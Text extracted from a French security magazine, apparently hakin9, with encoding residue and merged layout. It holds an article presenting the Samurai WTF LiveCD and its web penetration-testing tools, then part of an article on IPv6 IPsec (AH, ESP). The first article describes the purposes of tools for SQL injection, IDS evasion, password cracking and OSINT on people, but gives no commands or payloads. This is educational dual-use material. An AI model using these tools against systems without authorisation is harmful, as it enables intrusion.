Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

